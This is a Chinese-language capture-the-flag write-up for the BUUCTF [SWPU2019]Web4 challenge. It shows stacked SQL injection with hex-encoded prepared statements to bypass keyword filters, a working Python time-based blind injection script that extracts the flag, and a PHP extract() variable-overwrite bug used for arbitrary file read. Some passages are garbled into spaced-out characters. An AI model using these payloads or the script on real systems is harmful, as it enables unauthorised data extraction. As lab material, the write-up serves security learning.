BUUCTF:[SWPU2019]Web4

[SWPU2019]Web4
参考:https://www.anquanke.com/post/id/194640#h3-4
在这里插入图片描述
题目只有一个登录框,输入账号密码后点击登陆页面无任何相应,注册功能也是尚未开放。查看源代码可以看到一个js文件,F12也可以看到一个网络请求。

js主要功能是将username和password以json格式然后发给index.php?r=Login/Login。

不难发现,username中加入单引号会直接500错误,而闭合引号后会正常显示。因此可大致确定注入存在,随后开始构造payload。由于题目对username进行了严格的检测,所以无法使用单语句进行注入,但是注入点又存在,于是可以尝试进行堆叠注入。(很多师傅可能就因为不友好的回显卡在这里)

在单引号后加入分号(😉,若无法多语句执行,返回页面按理说应该是500,但在这里可以看到正常回显,说明可能存在堆叠注入
在这里插入图片描述
关于PDO场景下的SQL注入,具体可以查看https://xz.aliyun.com/t/3950

由于过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用16进制+mysql预处理来绕过。

mysql> select hex('select sleep(5)');
+--------------------------------+
| hex('select sleep(5)')         |
+--------------------------------+
| 73656C65637420736C656570283529 |
+--------------------------------+
1 row in set (0.01 sec)

mysql> set @a=0x73656C65637420736C656570283529;
Query OK, 0 rows affected (0.00 sec)

mysql> prepare test from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> execute test;
+----------+
| sleep(5) |
+----------+
|        0 |
+----------+
1 row in set (5.00 sec)
#author: c1e4r
import requests
import json
import time

def main():
    #题目地址
    url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''
    #注入payload
    payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
    flag = ''
    for i in range(1,30):
        #查询payload
        payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
        for j in range(0,128):
            #将构造好的payload进行16进制转码和json转码
            datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
            data = json.dumps(datas)
            times = time.time()
            res = requests.post(url = url, data = data)
            if time.time() - times >= 3:
                flag = flag + chr(j)
                print(flag)
                break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

在这里插入图片描述
不知道是不是网速不太好,多测试几遍总结出来:glzjin_wants_a_girl_friend.zip应该是源码
在这里插入图片描述
大致的文件就是这样,看样子就是一个简单的mvc框架。很明显,我们要通过某种方法将flag.php中的文件内容给读取出来。

先说下url大致的解析流程:从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。

下面看下某些的关键代码:

/Controller/BaseController.php
....
public function loadView($viewName ='', $viewData = [])
{
   $this->viewPath = BASE_PATH . "/View/{$viewName}.php";
   if(file_exists($this->viewPath))
   {
      extract($viewData);
      include $this->viewPath;
   }
}

其中 ,BaseController的loadView方法发现使用了extract,后面又include了一个文件。那么意味着只要 v i e w D a t a 可 控 我 们 即 可 覆 盖 掉 viewData可控我们即可覆盖掉 viewDatathis->viewPath文件中的某些变量。而 t h i s − > v i e w P a t h 正 是 要 返 回 给 客 户 端 的 。 寻 找 几 个 调 用 l o a d V i e w 的 方 法 , 发 现 一 个 对 this->viewPath正是要返回给客户端的。 寻找几个调用loadView的方法,发现一个对 this>viewPathloadView,viewData完全可控的地方

/Controller/UserController.php
public function actionIndex()
{
    $listData = $_REQUEST;
    $this->loadView('userIndex',$listData);
}

$listData是从REQUEST提取出来的,完全可控。而其对应的/View/userIndex.php中存在一个文件读取

.......
                if(!isset($img_file)) {
                    $img_file = '/../favicon.ico';
                }
                $img_dir = dirname(__FILE__) . $img_file;
                $img_base64 = imgToBase64($img_dir);
                echo '<img src="' . $img_base64 . '">';       //图片形式展示
                ?></div>
        </div>
    </div>
</div>
</body>
</html>
<?php
function imgToBase64($img_file) {
                return $img_base64; //返回图片的base64
}
?>

大致意思为读取$img_file的内容,然后以base64的形式输出图片。
i m g f i l e 可 通 过 e x t r a c t ( img_file可通过extract( imgfileextract(viewData)变量覆盖漏洞完全控制,而$viewData是受用户控制的完全控制的。所以这里就存在一个任意文件读取漏洞。

所以访问:index.php?r=User/Index&img_file=/…/flag.php可直接获取flag.php经base64后的内容

在这里插入图片描述
在这里插入图片描述

  • 7
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值